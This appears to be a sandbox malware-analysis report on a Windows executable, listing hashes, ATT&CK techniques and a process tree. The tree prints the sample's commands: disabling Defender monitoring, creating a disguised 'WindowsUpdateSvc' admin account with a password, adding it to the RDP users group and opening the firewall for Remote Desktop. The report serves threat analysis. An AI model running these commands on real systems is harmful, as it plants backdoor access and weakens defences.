034f7ae294e70be0c8d91553111bc17e7542fe651a7a68203f20255b1b7e079a

Analysis

max time kernel
148s
max time network
141s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
10/09/2026, 23:53

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
034f7ae294e70be0c8d91553111bc17e7542fe651a7a68203f20255b1b7e079a.exe
Size 16KB
Sample260910-3xspcsxejb
SHA256 034f7ae294e70be0c8d91553111bc17e7542fe651a7a68203f20255b1b7e079a
MD5 4f41ccd2f2d6a9778e9cb4461e2bcb40
SHA1 87fdda49ad0b7eb236034d5a0a8eae526853f24a
SHA512 41c71604a7ff4be1b7b7e367825a0e0ae3b8cbd83cc12d7be284b5a57f05a890d674e5e72fcd3b9f196baab21692b21b459c4be494a58d98e2d5616a22347e8e
SSDEEP 384:ata/c8fmR1nBJo782lvZwI9BaikOkU59LdK8H1Sqt86qodty3:W8fmbPo9M859LdKUSqtRdE3
TLSH
T10B722A0AB3FCC608F1FE8F752E7687004375FA47AE22D64E08D9549D5D317588E64BA2
MD5 SHA1 SHA512 SSDEEP TLSH

Score

9^/10

defense_evasion discovery execution lateral_movement persistence privilege_escalation

Malware Config

Signatures

Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Remote Service Session Hijacking: RDP Hijacking 1 TTPs 2 IoCs

Adversaries may hijack a legitimate user's remote desktop session to move laterally within an environment.

lateral_movement

RDP Hijacking

T1563.002

pid	Process
5788	net.exe
4952	net1.exe

Disables one or more Microsoft Defender components 1 TTPs 1 IoCs

Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

defense_evasion

Disable or Modify Tools

T1562.001

pid	Process
3872	powershell.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1021.001

Modifies Windows Firewall 2 TTPs 2 IoCs

defense_evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
5384	netsh.exe
1124	netsh.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3872	powershell.exe
956	powershell.exe

Looks up external IP address via web service 1 TTPs 3 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
1	api.ipify.org
1	ip-api.com
9	api.ipify.org

Creates a new local user account 1 TTPs 2 IoCs

Uses net.exe to create a new local user account, often for persistence or a backdoor account.

persistence

Local Account

T1136.001

pid	Process
4636	net.exe
6088	net1.exe

Hide Artifacts: Ignore Process Interrupts 1 TTPs 2 IoCs

Command interpreters often include specific commands/flags that ignore errors and other hangups.

defense_evasion

Ignore Process Interrupts

T1564.011

pid	Process
3872	powershell.exe
956	powershell.exe

Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Permission Groups Discovery: Local Groups 1 TTPs
Attempt to find local system groups and permission settings.
discovery

Local Groups
T1069.001
Runs net.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
3872	powershell.exe
3872	powershell.exe
956	powershell.exe
956	powershell.exe
956	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	3584	034f7ae294e70be0c8d91553111bc17e7542fe651a7a68203f20255b1b7e079a.exe
Token: SeDebugPrivilege	3872	powershell.exe
Token: SeDebugPrivilege	956	powershell.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 3584 wrote to memory of 3872	3584	034f7ae294e70be0c8d91553111bc17e7542fe651a7a68203f20255b1b7e079a.exe	89
PID 3584 wrote to memory of 4636	3584	034f7ae294e70be0c8d91553111bc17e7542fe651a7a68203f20255b1b7e079a.exe	93
PID 4636 wrote to memory of 6088	4636	net.exe	95
PID 3584 wrote to memory of 5788	3584	034f7ae294e70be0c8d91553111bc17e7542fe651a7a68203f20255b1b7e079a.exe	96
PID 5788 wrote to memory of 4952	5788	net.exe	98
PID 3584 wrote to memory of 5384	3584	034f7ae294e70be0c8d91553111bc17e7542fe651a7a68203f20255b1b7e079a.exe	99
PID 3584 wrote to memory of 1124	3584	034f7ae294e70be0c8d91553111bc17e7542fe651a7a68203f20255b1b7e079a.exe	102
PID 3584 wrote to memory of 932	3584	034f7ae294e70be0c8d91553111bc17e7542fe651a7a68203f20255b1b7e079a.exe	104
PID 932 wrote to memory of 4700	932	net.exe	106
PID 3584 wrote to memory of 5888	3584	034f7ae294e70be0c8d91553111bc17e7542fe651a7a68203f20255b1b7e079a.exe	107
PID 5888 wrote to memory of 2316	5888	net.exe	109
PID 3584 wrote to memory of 956	3584	034f7ae294e70be0c8d91553111bc17e7542fe651a7a68203f20255b1b7e079a.exe	110

C:\Users\Admin\AppData\Local\Temp\034f7ae294e70be0c8d91553111bc17e7542fe651a7a68203f20255b1b7e079a.exe
"C:\Users\Admin\AppData\Local\Temp\034f7ae294e70be0c8d91553111bc17e7542fe651a7a68203f20255b1b7e079a.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3584
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command "Set-MpPreference -DisableRealtimeMonitoring $true -ErrorAction SilentlyContinue" -ExecutionPolicy Bypass
  2⤵
  - Disables one or more Microsoft Defender components
  - Command and Scripting Interpreter: PowerShell
  - Hide Artifacts: Ignore Process Interrupts
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3872
- C:\Windows\SYSTEM32\net.exe
  "net" user WindowsUpdateSvc MySecurePass123! /add
  2⤵
  - Creates a new local user account
  - Suspicious use of WriteProcessMemory
  PID:4636
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WindowsUpdateSvc MySecurePass123! /add
    3⤵
    - Creates a new local user account
    PID:6088
- C:\Windows\SYSTEM32\net.exe
  "net" localgroup "Remote Desktop Users" WindowsUpdateSvc /add
  2⤵
  - Remote Service Session Hijacking: RDP Hijacking
  - Suspicious use of WriteProcessMemory
  PID:5788
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 localgroup "Remote Desktop Users" WindowsUpdateSvc /add
    3⤵
    - Remote Service Session Hijacking: RDP Hijacking
    PID:4952
- C:\Windows\SYSTEM32\netsh.exe
  "netsh" advfirewall firewall set rule group="Remote Desktop" new enable=Yes
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  PID:5384
- C:\Windows\SYSTEM32\netsh.exe
  "netsh" advfirewall firewall set rule group="Удаленный рабочий стол" new enable=Yes
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  PID:1124
- C:\Windows\SYSTEM32\net.exe
  "net" localgroup "Administrators" WindowsUpdateSvc /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:932
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 localgroup "Administrators" WindowsUpdateSvc /add
    3⤵
    PID:4700
- C:\Windows\SYSTEM32\net.exe
  "net" localgroup "Administrators"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5888
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 localgroup "Administrators"
    3⤵
    PID:2316
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command "Set-MpPreference -DisableRealtimeMonitoring $false -ErrorAction SilentlyContinue" -ExecutionPolicy Bypass
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Hide Artifacts: Ignore Process Interrupts
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:956

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:5432

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Account Manipulation

T1098

Create Account

T1136

Local Account

T1136.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Account Manipulation

T1098

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Hide Artifacts

T1564

Ignore Process Interrupts

T1564.011

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Credential Access

Discovery

Permission Groups Discovery

T1069

Local Groups

T1069.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Remote Service Session Hijacking

T1563

RDP Hijacking

T1563.002

Remote Services

T1021

Remote Desktop Protocol

T1021.001

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 4e9379ae885c9cc347a5e74d86d24bbab2a8922017ebf83e3258af2688d2831c
MD5 05006006f463163bc6fd6b61c4a34bfc
SHA1 303217039cd89f9210cefd6a22f9d7c334588409
SHA512 dbb90332400dc203c7804d0c4bc438500521379f74c71530cea9de135de75a1d53c1bf11714faac0d3144ea4b0c8bca85485f4362b60c27455e529b7ca91281f
TLSH
T155218933B3CC8614CC9A413A10CEAC1036B6C7DB809ECEAB7B84D544A42F299CE602A0
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_k2oexoe0.ljq.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_k2oexoe0.ljq.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/956-35-0x000001FDFBDE0000-0x000001FDFBE92000-memory.dmp

Download

memory/3584-0-0x0000000000410000-0x000000000041A000-memory.dmp

Download

memory/3584-1-0x00007FF82C18F000-0x00007FF82C190000-memory.dmp

Download

memory/3584-2-0x00007FF82C000000-0x00007FF82C9A4000-memory.dmp

Download

memory/3584-37-0x00007FF82C000000-0x00007FF82C9A4000-memory.dmp

Download

memory/3584-23-0x00007FF82C000000-0x00007FF82C9A4000-memory.dmp

Download

memory/3872-14-0x00007FF82C000000-0x00007FF82C9A4000-memory.dmp

Download

memory/3872-20-0x00007FF82C000000-0x00007FF82C9A4000-memory.dmp

Download

memory/3872-10-0x00007FF82C000000-0x00007FF82C9A4000-memory.dmp

Download

memory/3872-11-0x00007FF82C000000-0x00007FF82C9A4000-memory.dmp

Download

memory/3872-8-0x000001DDFCBC0000-0x000001DDFCBE2000-memory.dmp

Download

memory/3872-15-0x00007FF82C000000-0x00007FF82C9A4000-memory.dmp

Download

memory/3872-16-0x00007FF82C000000-0x00007FF82C9A4000-memory.dmp

Download

memory/3872-19-0x000001DDFD0F0000-0x000001DDFD10E000-memory.dmp

Download

memory/3872-21-0x000001DDFD110000-0x000001DDFD1C2000-memory.dmp

Download

memory/3872-9-0x00007FF82C000000-0x00007FF82C9A4000-memory.dmp

Download

memory/3872-22-0x000001DDFCC50000-0x000001DDFCC5A000-memory.dmp

Download

memory/3872-7-0x00007FF82C000000-0x00007FF82C9A4000-memory.dmp

Download

memory/3872-26-0x00007FF82C000000-0x00007FF82C9A4000-memory.dmp

Download

memory/3872-24-0x00007FF82C000000-0x00007FF82C9A4000-memory.dmp

Download

memory/3872-6-0x00007FF82C000000-0x00007FF82C9A4000-memory.dmp

Download

memory/3872-5-0x00007FF82C000000-0x00007FF82C9A4000-memory.dmp

Download

memory/3872-4-0x00007FF82C000000-0x00007FF82C9A4000-memory.dmp

Download

memory/3872-3-0x00007FF82C000000-0x00007FF82C9A4000-memory.dmp

Download